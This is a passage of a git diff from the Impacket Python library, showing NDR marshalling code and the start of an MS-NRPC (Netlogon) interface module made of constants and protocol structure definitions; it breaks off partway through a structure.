+                    return self.fields[key]['Data']
+            return self.fields[key]
+        else:
+            # Key not found, let's send it to the referent, maybe it's there
+            return self.fields['Data'].__getitem__(key)
+
+    def getData(self, soFar = 0):
+        # First of all we need to align ourselves
+        data = b''
+        pad = self.calculatePad(self.commonHdr[0][1], soFar)
+        if pad > 0:
+            soFar += pad
+            data = b'\xaa'*pad
+        # If we have a ReferentID == 0, means there's no data
+        if self.fields['ReferentID'] == 0:
+            if len(self.referent) > 0:
+                self['Data'] = b''
+            else:
+                if self._isNDR64 is True:
+                    return data+b'\x00'*8
+                else:
+                    return data+b'\x00'*4
+
+        return data + NDRSTRUCT.getData(self, soFar)
+
+    def fromString(self, data, offset=0):
+        # First of all we need to align ourselves
+        pad = self.calculatePad(self.commonHdr[0][1], offset)
+        offset += pad
+
+        # Do we have a Referent ID == 0?
+        if self._isNDR64 is True:
+            unpackStr = '<Q'
+        else:
+            unpackStr = '<L'
+
+        if unpack_from(unpackStr, data, offset)[0] == 0:
+            # Let's save the value
+            self['ReferentID'] = 0
+            self.fields['Data'] = b''
+            if self._isNDR64 is True:
+                return pad + 8
+            else:
+                return pad + 4
+        else:
+            retVal = NDRSTRUCT.fromString(self, data, offset)
+            return retVal + pad
+
+    def dump(self, msg = None, indent = 0):
+        if msg is None:
+            msg = self.__class__.__name__
+        if msg != '':
+            print("%s" % msg, end=' ')
+        # Here we just print the referent
+        if isinstance(self.fields['Data'], NDR):
+            self.fields['Data'].dump('', indent = indent)
+        else:
+            if self['ReferentID'] == 0:
+                print(" NULL", end=' ')
+            else:
+                print(" %r" % (self['Data']), end=' ')
+
+    def getAlignment(self):
+        if self._isNDR64 is True:
+            return 8
+        else:
+            return 4
+
+
+# Embedded Reference Pointers not implemented for now
+
+################################################################################
+# Common RPC Data Types
+
+class PNDRUniConformantVaryingArray(NDRPOINTER):
+    referent = (
+        ('Data', NDRUniConformantVaryingArray),
+    )
+
+class PNDRUniConformantArray(NDRPOINTER):
+    referent = (
+        ('Data', NDRUniConformantArray),
+    )
+    def __init__(self, data = None, isNDR64 = False, topLevel = False):
+        NDRPOINTER.__init__(self,data,isNDR64,topLevel)
+
+class NDRCALL(NDRCONSTRUCTEDTYPE):
+    # This represents a group of NDR instances that conforms an NDR Call.
+    # The only different between a regular NDR instance is a NDR call must
+    # represent the referents when building the final octet stream
+    referent       = ()
+    commonHdr      = ()
+    commonHdr64    = ()
+    structure      = ()
+    structure64    = ()
+    align          = 4
+    def __init__(self, data = None, isNDR64 = False):
+        self._isNDR64 = isNDR64
+        self.fields = {}
+
+        if isNDR64 is True:
+            if self.commonHdr64 != ():
+                self.commonHdr = self.commonHdr64
+            if self.structure64 != ():
+                self.structure = self.structure64
+            if hasattr(self, 'align64'):
+                self.align = self.align64
+
+        for fieldName, fieldTypeOrClass in self.commonHdr+self.structure+self.referent:
+            if self.isNDR(fieldTypeOrClass):
+               if self.isPointer(fieldTypeOrClass):
+                   self.fields[fieldName] = fieldTypeOrClass(isNDR64 = self._isNDR64, topLevel = True)
+               elif self.isUnion(fieldTypeOrClass):
+                   self.fields[fieldName] = fieldTypeOrClass(isNDR64 = self._isNDR64, topLevel = True)
+               else:
+                   self.fields[fieldName] = fieldTypeOrClass(isNDR64 = self._isNDR64)
+            elif fieldTypeOrClass == ':':
+               self.fields[fieldName] = None
+            elif len(fieldTypeOrClass.split('=')) == 2:
+               try:
+                   self.fields[fieldName] = eval(fieldTypeOrClass.split('=')[1])
+               except:
+                   self.fields[fieldName] = None
+            else:
+               self.fields[fieldName] = 0
+
+        if data is not None:
+            self.fromString(data)
+
+    def dump(self, msg = None, indent = 0):
+        NDRCONSTRUCTEDTYPE.dump(self, msg, indent)
+        print('\n\n')
+
+    def getData(self, soFar = 0):
+        data = b''
+        soFar0 = soFar
+        for fieldName, fieldTypeOrClass in self.commonHdr+self.structure:
+            try:
+                pad = self.calculatePad(fieldTypeOrClass, soFar)
+                if pad > 0:
+                    soFar += pad
+                    data += b'\xab'*pad
+
+                # Are we dealing with an array?
+                if isinstance(self.fields[fieldName], NDRUniConformantArray) or isinstance(self.fields[fieldName],
+                              NDRUniConformantVaryingArray):
+                    # Align size item
+                    if self._isNDR64:
+                        pad = (8 - (soFar % 8)) % 8
+                    else:
+                        pad = (4 - (soFar % 4)) % 4
+                    # Pack the item
+                    res = self.pack(fieldName, fieldTypeOrClass, soFar+pad)
+                    # Yes, get the array size
+                    arraySize = self.getArrayMaximumSize(fieldName)
+                    if self._isNDR64:
+                        pad = (8 - (soFar % 8)) % 8
+                        data += b'\xce'*pad + pack('<Q', arraySize) + res
+                    else:
+                        pad = (4 - (soFar % 4)) % 4
+                        data += b'\xce'*pad + pack('<L', arraySize) + res
+                else:
+                    data += self.pack(fieldName, fieldTypeOrClass, soFar)
+
+                soFar = soFar0 + len(data)
+                # Any referent information to pack?
+                # I'm still not sure whether this should go after processing
+                # all the fields at the call level.
+                # Guess we'll figure it out testing.
+                if isinstance(self.fields[fieldName], NDRCONSTRUCTEDTYPE):
+                    data += self.fields[fieldName].getDataReferents(soFar)
+                    soFar = soFar0 + len(data)
+                    data += self.fields[fieldName].getDataReferent(soFar)
+                    soFar = soFar0 + len(data)
+            except Exception as e:
+                LOG.error(str(e))
+                LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__))
+                raise
+
+        return data
+
+    def fromString(self, data, offset=0):
+        offset0 = offset
+        for fieldName, fieldTypeOrClass in self.commonHdr+self.structure:
+            try:
+                # Are we dealing with an array?
+                if isinstance(self.fields[fieldName], NDRUniConformantArray) or isinstance(self.fields[fieldName],
+                              NDRUniConformantVaryingArray):
+                    # Yes, get the array size
+                    arraySize, advanceStream = self.getArraySize(fieldName, data, offset)
+                    self.fields[fieldName].setArraySize(arraySize)
+                    offset += advanceStream
+
+                size = self.unpack(fieldName, fieldTypeOrClass, data, offset)
+
+                # Any referent information to unpack?
+                if isinstance(self.fields[fieldName], NDRCONSTRUCTEDTYPE):
+                    size += self.fields[fieldName].fromStringReferents(data, offset+size)
+                    size += self.fields[fieldName].fromStringReferent(data, offset+size)
+                offset += size
+            except Exception as e:
+                LOG.error(str(e))
+                LOG.error("Error unpacking field '%s | %s | %r'" % (fieldName, fieldTypeOrClass, data[offset:offset+256]))
+                raise
+
+        return offset - offset0
+
+# Top Level Struct == NDRCALL
+NDRTLSTRUCT = NDRCALL
+
+class UNKNOWNDATA(NDR):
+    align = 1
+    structure = (
+        ('Data', ':'),
+    )
diff --git a/impacket/dcerpc/v5/nrpc.py b/impacket/dcerpc/v5/nrpc.py
new file mode 100644
index 0000000..bafca6b
--- /dev/null
+++ b/impacket/dcerpc/v5/nrpc.py
@@ -0,0 +1,2872 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-NRPC] Interface implementation
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Some calls have helper functions, which makes it even easier to use.
+#   They are located at the end of this file.
+#   Helper functions start with "h"<name of the call>.
+#   There are test cases for them too.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+import time
+from struct import pack, unpack
+from six import b
+from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRENUM, NDRUNION, NDRPOINTER, NDRUniConformantArray, \
+    NDRUniFixedArray, NDRUniConformantVaryingArray
+from impacket.dcerpc.v5.dtypes import WSTR, LPWSTR, DWORD, ULONG, USHORT, PGUID, NTSTATUS, NULL, LONG, UCHAR, PRPC_SID, \
+    GUID, RPC_UNICODE_STRING, SECURITY_INFORMATION, LPULONG, ULONGLONG
+from impacket import system_errors, nt_errors
+from impacket.uuid import uuidtup_to_bin
+from impacket.dcerpc.v5.enum import Enum
+from impacket.dcerpc.v5.samr import OLD_LARGE_INTEGER
+from impacket.dcerpc.v5.lsad import PLSA_FOREST_TRUST_INFORMATION
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.structure import Structure
+from impacket import ntlm, crypto, LOG
+import hmac
+import hashlib
+try:
+    from Cryptodome.Cipher import DES, AES, ARC4
+except ImportError:
+    LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex")
+    LOG.critical("See https://pypi.org/project/pycryptodomex/")
+
+MSRPC_UUID_NRPC = uuidtup_to_bin(('12345678-1234-ABCD-EF00-01234567CFFB', '1.0'))
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__( self ):
+        key = self.error_code
+        if key in system_errors.ERROR_MESSAGES:
+            error_msg_short = system_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
+            return 'NRPC SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        elif key in nt_errors.ERROR_MESSAGES:
+            error_msg_short = nt_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1]
+            return 'NRPC SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'NRPC SessionError: unknown error code: 0x%x' % (self.error_code)
+
+################################################################################
+# CONSTANTS
+################################################################################
+# 2.2.1.2.5 NL_DNS_NAME_INFO
+# Type
+NlDnsLdapAtSite       = 22
+NlDnsGcAtSite         = 25
+NlDnsDsaCname         = 28
+NlDnsKdcAtSite        = 30
+NlDnsDcAtSite         = 32
+NlDnsRfc1510KdcAtSite = 34
+NlDnsGenericGcAtSite  = 36
+
+# DnsDomainInfoType
+NlDnsDomainName      = 1
+NlDnsDomainNameAlias = 2
+NlDnsForestName      = 3
+NlDnsForestNameAlias = 4
+NlDnsNdncDomainName  = 5
+NlDnsRecordName      = 6
+
+# 2.2.1.3.15 NL_OSVERSIONINFO_V1
+# wSuiteMask
+VER_SUITE_BACKOFFICE               = 0x00000004
+VER_SUITE_BLADE                    = 0x00000400
+VER_SUITE_COMPUTE_SERVER           = 0x00004000
+VER_SUITE_DATACENTER               = 0x00000080
+VER_SUITE_ENTERPRISE               = 0x00000002
+VER_SUITE_EMBEDDEDNT               = 0x00000040
+VER_SUITE_PERSONAL                 = 0x00000200
+VER_SUITE_SINGLEUSERTS             = 0x00000100
+VER_SUITE_SMALLBUSINESS            = 0x00000001
+VER_SUITE_SMALLBUSINESS_RESTRICTED = 0x00000020
+VER_SUITE_STORAGE_SERVER           = 0x00002000
+VER_SUITE_TERMINAL                 = 0x00000010
+
+# wProductType
+VER_NT_DOMAIN_CONTROLLER = 0x00000002
+VER_NT_SERVER            = 0x00000003
+VER_NT_WORKSTATION       = 0x00000001
+
+# 2.2.1.4.18 NETLOGON Specific Access Masks
+NETLOGON_UAS_LOGON_ACCESS  = 0x0001
+NETLOGON_UAS_LOGOFF_ACCESS = 0x0002
+NETLOGON_CONTROL_ACCESS    = 0x0004
+NETLOGON_QUERY_ACCESS      = 0x0008
+NETLOGON_SERVICE_ACCESS    = 0x0010
+NETLOGON_FTINFO_ACCESS     = 0x0020
+NETLOGON_WKSTA_RPC_ACCESS  = 0x0040
+
+# 3.5.4.9.1 NetrLogonControl2Ex (Opnum 18)
+# FunctionCode
+NETLOGON_CONTROL_QUERY             = 0x00000001
+NETLOGON_CONTROL_REPLICATE         = 0x00000002
+NETLOGON_CONTROL_SYNCHRONIZE       = 0x00000003
+NETLOGON_CONTROL_PDC_REPLICATE     = 0x00000004
+NETLOGON_CONTROL_REDISCOVER        = 0x00000005
+NETLOGON_CONTROL_TC_QUERY          = 0x00000006
+NETLOGON_CONTROL_TRANSPORT_NOTIFY  = 0x00000007
+NETLOGON_CONTROL_FIND_USER         = 0x00000008
+NETLOGON_CONTROL_CHANGE_PASSWORD   = 0x00000009
+NETLOGON_CONTROL_TC_VERIFY         = 0x0000000A
+NETLOGON_CONTROL_FORCE_DNS_REG     = 0x0000000B
+NETLOGON_CONTROL_QUERY_DNS_REG     = 0x0000000C
+NETLOGON_CONTROL_BACKUP_CHANGE_LOG = 0x0000FFFC
+NETLOGON_CONTROL_TRUNCATE_LOG      = 0x0000FFFD
+NETLOGON_CONTROL_SET_DBFLAG        = 0x0000FFFE
+NETLOGON_CONTROL_BREAKPOINT        = 0x0000FFFF
+
+################################################################################
+# STRUCTURES
+################################################################################
+# 3.5.4.1 RPC Binding Handles for Netlogon Methods
+LOGONSRV_HANDLE = WSTR
+PLOGONSRV_HANDLE = LPWSTR
+
+# 2.2.1.1.1 CYPHER_BLOCK
+class CYPHER_BLOCK(NDRSTRUCT):
+    structure = (
+        ('Data', '8s=b""'),
+    )
+    def getAlignment(self):
+        return 1
+
+NET_API_STATUS = DWORD
+
+# 2.2.1.1.2 STRING
+from impacket.dcerpc.v5.lsad import STRING
+
+# 2.2.1.1.3 LM_OWF_PASSWORD
+class CYPHER_BLOCK_ARRAY(NDRUniFixedArray):
+    def getDataLen(self, data, offset=0):
+        return len(CYPHER_BLOCK())*2
+
+class LM_OWF_PASSWORD(NDRSTRUCT):
+    structure = (
+        ('Data', CYPHER_BLOCK_ARRAY),
+    )
+
+# 2.2.1.1.4 NT_OWF_PASSWORD
+NT_OWF_PASSWORD = LM_OWF_PASSWORD
+ENCRYPTED_NT_OWF_PASSWORD = NT_OWF_PASSWORD
+
+# 2.2.1.3.4 NETLOGON_CREDENTIAL
+class UCHAR_FIXED_ARRAY(NDRUniFixedArray):
+    align = 1
+    def getDataLen(self, data, offset=0):
+        return len(CYPHER_BLOCK())
+
+class NETLOGON_CREDENTIAL(NDRSTRUCT):
+    structure = (
+        ('Data',UCHAR_FIXED_ARRAY),
+    )
+    def getAlignment(self):
+        return 1
+
+# 2.2.1.1.5 NETLOGON_AUTHENTICATOR
+class NETLOGON_AUTHENTICATOR(NDRSTRUCT):
+    structure = (
+        ('Credential', NETLOGON_CREDENTIAL),
+        ('Timestamp', DWORD),
+    )
+
+class PNETLOGON_AUTHENTICATOR(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_AUTHENTICATOR),
+    )
+
+# 2.2.1.2.1 DOMAIN_CONTROLLER_INFOW
+class DOMAIN_CONTROLLER_INFOW(NDRSTRUCT):
+    structure = (
+        ('DomainControllerName', LPWSTR),
+        ('DomainControllerAddress', LPWSTR),
+        ('DomainControllerAddressType', ULONG),
+        ('DomainGuid', GUID),
+        ('DomainName', LPWSTR),
+        ('DnsForestName', LPWSTR),
+        ('Flags', ULONG),
+        ('DcSiteName', LPWSTR),
+        ('ClientSiteName', LPWSTR),
+    )
+
+class PDOMAIN_CONTROLLER_INFOW(NDRPOINTER):
+    referent = (
+        ('Data', DOMAIN_CONTROLLER_INFOW),
+    )
+
+# 2.2.1.2.2 NL_SITE_NAME_ARRAY
+class RPC_UNICODE_STRING_ARRAY(NDRUniConformantArray):
+    item = RPC_UNICODE_STRING
+
+class PRPC_UNICODE_STRING_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', RPC_UNICODE_STRING_ARRAY),
+    )
+
+class NL_SITE_NAME_ARRAY(NDRSTRUCT):
+    structure = (
+        ('EntryCount', ULONG),
+        ('SiteNames', PRPC_UNICODE_STRING_ARRAY),
+    )
+
+class PNL_SITE_NAME_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', NL_SITE_NAME_ARRAY),
+    )
+
+# 2.2.1.2.3 NL_SITE_NAME_EX_ARRAY
+class RPC_UNICODE_STRING_ARRAY(NDRUniConformantArray):
+    item = RPC_UNICODE_STRING
+
+class NL_SITE_NAME_EX_ARRAY(NDRSTRUCT):
+    structure = (
+        ('EntryCount', ULONG),
+        ('SiteNames', PRPC_UNICODE_STRING_ARRAY),
+        ('SubnetNames', PRPC_UNICODE_STRING_ARRAY),
+    )
+
+class PNL_SITE_NAME_EX_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', NL_SITE_NAME_EX_ARRAY),
+    )
+
+# 2.2.1.2.4 NL_SOCKET_ADDRESS
+# 2.2.1.2.4.1 IPv4 Address Structure
+class IPv4Address(Structure):
+    structure = (
+        ('AddressFamily', '<H=0'),
+        ('Port', '<H=0'),
+        ('Address', '<L=0'),
+        ('Padding', '<L=0'),
+    )
+
+class UCHAR_ARRAY(NDRUniConformantArray):
+    item = 'c'
+
+class PUCHAR_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', UCHAR_ARRAY),
+    )
+
+class NL_SOCKET_ADDRESS(NDRSTRUCT):
+    structure = (
+        ('lpSockaddr', PUCHAR_ARRAY),
+        ('iSockaddrLength', ULONG),
+    )
+
+class NL_SOCKET_ADDRESS_ARRAY(NDRUniConformantArray):
+    item = NL_SOCKET_ADDRESS
+
+# 2.2.1.2.5 NL_DNS_NAME_INFO
+class NL_DNS_NAME_INFO(NDRSTRUCT):
+    structure = (
+        ('Type', ULONG),
+        ('DnsDomainInfoType', WSTR),
+        ('Priority', ULONG),
+        ('Weight', ULONG),
+        ('Port', ULONG),
+        ('Register', UCHAR),
+        ('Status', ULONG),
+    )
+
+# 2.2.1.2.6 NL_DNS_NAME_INFO_ARRAY
+class NL_DNS_NAME_INFO_ARRAY(NDRUniConformantArray):
+    item = NL_DNS_NAME_INFO
+
+class PNL_DNS_NAME_INFO_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', NL_DNS_NAME_INFO_ARRAY),
+    )
+
+class NL_DNS_NAME_INFO_ARRAY(NDRSTRUCT):
+    structure = (
+        ('EntryCount', ULONG),
+        ('DnsNamesInfo', PNL_DNS_NAME_INFO_ARRAY),
+    )
+
+# 2.2.1.3 Secure Channel Establishment and Maintenance Structures
+# ToDo
+
+# 2.2.1.3.5 NETLOGON_LSA_POLICY_INFO
+class NETLOGON_LSA_POLICY_INFO(NDRSTRUCT):
+    structure = (
+        ('LsaPolicySize', ULONG),
+        ('LsaPolicy', PUCHAR_ARRAY),
+    )
+
+class PNETLOGON_LSA_POLICY_INFO(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_LSA_POLICY_INFO),
+    )
+
+# 2.2.1.3.6 NETLOGON_WORKSTATION_INFO
+class NETLOGON_WORKSTATION_INFO(NDRSTRUCT):
+    structure = (
+        ('LsaPolicy', NETLOGON_LSA_POLICY_INFO),
+        ('DnsHostName', LPWSTR),
+        ('SiteName', LPWSTR),
+        ('Dummy1', LPWSTR),
+        ('Dummy2', LPWSTR),
+        ('Dummy3', LPWSTR),
+        ('Dummy4', LPWSTR),
+        ('OsVersion', RPC_UNICODE_STRING),
+        ('OsName', RPC_UNICODE_STRING),
+        ('DummyString3', RPC_UNICODE_STRING),
+        ('DummyString4', RPC_UNICODE_STRING),
+        ('WorkstationFlags', ULONG),
+        ('KerberosSupportedEncryptionTypes', ULONG),
+        ('DummyLong3', ULONG),
+        ('DummyLong4', ULONG),
+    )
+
+class PNETLOGON_WORKSTATION_INFO(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_WORKSTATION_INFO),
+    )
+
+# 2.2.1.3.7 NL_TRUST_PASSWORD
+class NL_TRUST_PASSWORD_FIXED_ARRAY(NDRUniFixedArray):
+    def getDataLen(self, data, offset=0):
+        return 512+4
+
+    def getAlignment(self):
+        return 1
+
+class WCHAR_ARRAY(NDRUniFixedArray):
+    def getDataLen(self, data, offset=0):
+        return 512
+
+class NL_TRUST_PASSWORD(NDRSTRUCT):
+    structure = (
+        ('Buffer', WCHAR_ARRAY),
+        ('Length', ULONG),
+    )
+
+class PNL_TRUST_PASSWORD(NDRPOINTER):
+    referent = (
+        ('Data', NL_TRUST_PASSWORD),
+    )
+
+# 2.2.1.3.8 NL_PASSWORD_VERSION
+class NL_PASSWORD_VERSION(NDRSTRUCT):
+    structure = (
+        ('ReservedField', ULONG),
+        ('PasswordVersionNumber', ULONG),
+        ('PasswordVersionPresent', ULONG),
+    )
+
+# 2.2.1.3.9 NETLOGON_WORKSTATION_INFORMATION
+class NETLOGON_WORKSTATION_INFORMATION(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+
+    union = {
+        1 : ('WorkstationInfo', PNETLOGON_WORKSTATION_INFO),
+        2 : ('LsaPolicyInfo', PNETLOGON_LSA_POLICY_INFO),
+    }
+
+# 2.2.1.3.10 NETLOGON_ONE_DOMAIN_INFO
+class NETLOGON_ONE_DOMAIN_INFO(NDRSTRUCT):
+    structure = (
+        ('DomainName', RPC_UNICODE_STRING),
+        ('DnsDomainName', RPC_UNICODE_STRING),
+        ('DnsForestName', RPC_UNICODE_STRING),
+        ('DomainGuid', GUID),
+        ('DomainSid', PRPC_SID),
+        ('TrustExtension', RPC_UNICODE_STRING),
+        ('DummyString2', RPC_UNICODE_STRING),
+        ('DummyString3', RPC_UNICODE_STRING),
+        ('DummyString4', RPC_UNICODE_STRING),
+        ('DummyLong1', ULONG),
+        ('DummyLong2', ULONG),
+        ('DummyLong3', ULONG),
+        ('DummyLong4', ULONG),
+    )
+
+class NETLOGON_ONE_DOMAIN_INFO_ARRAY(NDRUniConformantArray):
+    item = NETLOGON_ONE_DOMAIN_INFO
+
+class PNETLOGON_ONE_DOMAIN_INFO_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_ONE_DOMAIN_INFO_ARRAY),
+    )
+
+# 2.2.1.3.11 NETLOGON_DOMAIN_INFO
+class NETLOGON_DOMAIN_INFO(NDRSTRUCT):
+    structure = (
+        ('PrimaryDomain', NETLOGON_ONE_DOMAIN_INFO),
+        ('TrustedDomainCount', ULONG),
+        ('TrustedDomains', PNETLOGON_ONE_DOMAIN_INFO_ARRAY),
+        ('LsaPolicy', NETLOGON_LSA_POLICY_INFO),
+        ('DnsHostNameInDs', RPC_UNICODE_STRING),
+        ('DummyString2', RPC_UNICODE_STRING),
+        ('DummyString3', RPC_UNICODE_STRING),
+        ('DummyString4', RPC_UNICODE_STRING),
+        ('WorkstationFlags', ULONG),
+        ('SupportedEncTypes', ULONG),
+        ('DummyLong3', ULONG),
+        ('DummyLong4', ULONG),
+    )
+
+class PNETLOGON_DOMAIN_INFO(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_DOMAIN_INFO),
+    )
+
+# 2.2.1.3.12 NETLOGON_DOMAIN_INFORMATION
+class NETLOGON_DOMAIN_INFORMATION(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+
+    union = {
+        1 : ('DomainInfo', PNETLOGON_DOMAIN_INFO),
+        2 : ('LsaPolicyInfo', PNETLOGON_LSA_POLICY_INFO),
+    }
+
+# 2.2.1.3.13 NETLOGON_SECURE_CHANNEL_TYPE
+class NETLOGON_SECURE_CHANNEL_TYPE(NDRENUM):
+    class enumItems(Enum):
+        NullSecureChannel             = 0
+        MsvApSecureChannel            = 1
+        WorkstationSecureChannel      = 2
+        TrustedDnsDomainSecureChannel = 3
+        TrustedDomainSecureChannel    = 4
+        UasServerSecureChannel        = 5
+        ServerSecureChannel           = 6
+        CdcServerSecureChannel        = 7
+
+# 2.2.1.3.14 NETLOGON_CAPABILITIES
+class NETLOGON_CAPABILITIES(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+
+    union = {
+        1 : ('ServerCapabilities', ULONG),
+    }
+
+# 2.2.1.3.15 NL_OSVERSIONINFO_V1
+class UCHAR_FIXED_ARRAY(NDRUniFixedArray):
+    def getDataLen(self, data, offset=0):
+        return 128
+
+class NL_OSVERSIONINFO_V1(NDRSTRUCT):
+    structure = (
+        ('dwOSVersionInfoSize', DWORD),
+        ('dwMajorVersion', DWORD),
+        ('dwMinorVersion', DWORD),
+        ('dwBuildNumber', DWORD),
+        ('dwPlatformId', DWORD),
+        ('szCSDVersion', UCHAR_FIXED_ARRAY),
+        ('wServicePackMajor', USHORT),
+        ('wServicePackMinor', USHORT),
+        ('wSuiteMask', USHORT),
+        ('wProductType', UCHAR),
+        ('wReserved', UCHAR),
+    )
+
+class PNL_OSVERSIONINFO_V1(NDRPOINTER):
+    referent = (
+        ('Data', NL_OSVERSIONINFO_V1),
+    )
+
+# 2.2.1.3.16 NL_IN_CHAIN_SET_CLIENT_ATTRIBUTES_V1
+class PLPWSTR(NDRPOINTER):
+    referent = (
+        ('Data', LPWSTR),
+    )
+
+class NL_IN_CHAIN_SET_CLIENT_ATTRIBUTES_V1(NDRSTRUCT):
+    structure = (
+        ('ClientDnsHostName', PLPWSTR),
+        ('OsVersionInfo', PNL_OSVERSIONINFO_V1),
+        ('OsName', PLPWSTR),
+    )
+
+# 2.2.1.3.17 NL_IN_CHAIN_SET_CLIENT_ATTRIBUTES
+class NL_IN_CHAIN_SET_CLIENT_ATTRIBUTES(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+
+    union = {
+        1 : ('V1', NL_IN_CHAIN_SET_CLIENT_ATTRIBUTES_V1),
+    }
+
+# 2.2.1.3.18 NL_OUT_CHAIN_SET_CLIENT_ATTRIBUTES_V1
+class NL_OUT_CHAIN_SET_CLIENT_ATTRIBUTES_V1(NDRSTRUCT):
+    structure = (
+        ('HubName', PLPWSTR),
+        ('OldDnsHostName', PLPWSTR),
+        ('SupportedEncTypes', LPULONG),
+    )
+
+# 2.2.1.3.19 NL_OUT_CHAIN_SET_CLIENT_ATTRIBUTES
+class NL_OUT_CHAIN_SET_CLIENT_ATTRIBUTES(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+
+    union = {
+        1 : ('V1', NL_OUT_CHAIN_SET_CLIENT_ATTRIBUTES_V1),
+    }
+
+# 2.2.1.4.1 LM_CHALLENGE
+class CHAR_FIXED_8_ARRAY(NDRUniFixedArray):
+    def getDataLen(self, data, offset=0):
+        return 8
+
+class LM_CHALLENGE(NDRSTRUCT):
+    structure = (
+        ('Data', CHAR_FIXED_8_ARRAY),
+    )
+
+# 2.2.1.4.15 NETLOGON_LOGON_IDENTITY_INFO
+class NETLOGON_LOGON_IDENTITY_INFO(NDRSTRUCT):
+    structure = (
+        ('LogonDomainName', RPC_UNICODE_STRING),
+        ('ParameterControl', ULONG),
+        ('Reserved', OLD_LARGE_INTEGER),
+        ('UserName', RPC_UNICODE_STRING),
+        ('Workstation', RPC_UNICODE_STRING),
+    )
+
+class PNETLOGON_LOGON_IDENTITY_INFO(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_LOGON_IDENTITY_INFO),
+    )
+
+# 2.2.1.4.2 NETLOGON_GENERIC_INFO
+class NETLOGON_GENERIC_INFO(NDRSTRUCT):
+    structure = (
+        ('Identity', NETLOGON_LOGON_IDENTITY_INFO),
+        ('PackageName', RPC_UNICODE_STRING),
+        ('DataLength', ULONG),
+        ('LogonData', PUCHAR_ARRAY),
+    )
+
+class PNETLOGON_GENERIC_INFO(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_GENERIC_INFO),
+    )
+
+# 2.2.1.4.3 NETLOGON_INTERACTIVE_INFO
+class NETLOGON_INTERACTIVE_INFO(NDRSTRUCT):
+    structure = (
+        ('Identity', NETLOGON_LOGON_IDENTITY_INFO),
+        ('LmOwfPassword', LM_OWF_PASSWORD),
+        ('NtOwfPassword', NT_OWF_PASSWORD),
+    )
+
+class PNETLOGON_INTERACTIVE_INFO(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_INTERACTIVE_INFO),
+    )
+
+# 2.2.1.4.4 NETLOGON_SERVICE_INFO
+class NETLOGON_SERVICE_INFO(NDRSTRUCT):
+    structure = (
+        ('Identity', NETLOGON_LOGON_IDENTITY_INFO),
+        ('LmOwfPassword', LM_OWF_PASSWORD),
+        ('NtOwfPassword', NT_OWF_PASSWORD),
+    )
+
+class PNETLOGON_SERVICE_INFO(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_SERVICE_INFO),
+    )
+
+# 2.2.1.4.5 NETLOGON_NETWORK_INFO
+class NETLOGON_NETWORK_INFO(NDRSTRUCT):
+    structure = (
+        ('Identity', NETLOGON_LOGON_IDENTITY_INFO),
+        ('LmChallenge', LM_CHALLENGE),
+        ('NtChallengeResponse', STRING),
+        ('LmChallengeResponse', STRING),
+    )
+
+class PNETLOGON_NETWORK_INFO(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_NETWORK_INFO),
+    )
+
+# 2.2.1.4.16 NETLOGON_LOGON_INFO_CLASS
+class NETLOGON_LOGON_INFO_CLASS(NDRENUM):
+    class enumItems(Enum):
+        NetlogonInteractiveInformation           = 1
+        NetlogonNetworkInformation               = 2
+        NetlogonServiceInformation               = 3
+        NetlogonGenericInformation               = 4
+        NetlogonInteractiveTransitiveInformation = 5
+        NetlogonNetworkTransitiveInformation     = 6
+        NetlogonServiceTransitiveInformation     = 7
+
+# 2.2.1.4.6 NETLOGON_LEVEL
+class NETLOGON_LEVEL(NDRUNION):
+    union = {
+        NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation           : ('LogonInteractive', PNETLOGON_INTERACTIVE_INFO),
+        NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveTransitiveInformation : ('LogonInteractiveTransitive', PNETLOGON_INTERACTIVE_INFO),
+        NETLOGON_LOGON_INFO_CLASS.NetlogonServiceInformation               : ('LogonService', PNETLOGON_SERVICE_INFO),
+        NETLOGON_LOGON_INFO_CLASS.NetlogonServiceTransitiveInformation     : ('LogonServiceTransitive', PNETLOGON_SERVICE_INFO),
+        NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkInformation               : ('LogonNetwork', PNETLOGON_NETWORK_INFO),
